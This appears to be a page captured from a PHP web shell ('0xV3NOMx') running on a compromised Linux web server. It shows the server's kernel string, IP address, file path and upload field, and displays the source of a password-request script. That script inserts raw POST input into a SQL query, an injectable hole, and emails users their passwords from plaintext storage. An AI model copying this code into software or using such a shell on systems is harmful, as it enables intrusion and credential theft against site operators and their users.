0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.26.231


Current Path : /var/www/misc/public_html/oums_old/phpscript/
Upload File :
Current File : /var/www/misc/public_html/oums_old/phpscript/user_password_request.php

<?php
	include("sys_connect.php");		

	$resp_mesg="";
	$resp_stat="";
	$resp_file="";

	$mysql = "select * from masempl where fusercode='$_POST[user_code]' and femplstat='T' and fdeleted<>'T'";
	$myres = mysqli_query($mycon,$mysql);
	$myrow = mysqli_fetch_assoc($myres);	
	$mycnt = mysqli_num_rows($myres);
	if ($mycnt==0)
	{
		$resp_stat="F";
		$resp_mesg="Details not found!";
	}

	if ($mycnt!=0)
	{
		
		if ($myrow['femplmail']=='')
		{
			$resp_stat="F";
			$resp_mesg="E Mail not found, please contact administrator!";
		}
		else
		{
			$resp_stat = "F";
			$mail_main = $myrow['femplmail'];
			$mail_copy = "";
			$mail_bccy = "";
			$mail_subj = "OUMS Login password for the user ". $myrow['fusercode'];
			$mail_text = nl2br("Dear user,\n\n");
			$mail_text.= "Your oums login password is ".$myrow['fpassword'];
			$mail_file = "";

			include("api_sendmail.php");
		 	$resp_stat=send_mail($mail_main,$mail_copy,$mail_bccy,$mail_subj,$mail_text,$mail_file);
		 	$resp_mesg="Password is sent to your mail!";
	 	}
	}
	echo json_encode(array("mesg"=>$resp_mesg, "stat"=>$resp_stat, "file"=>$resp_file));
?>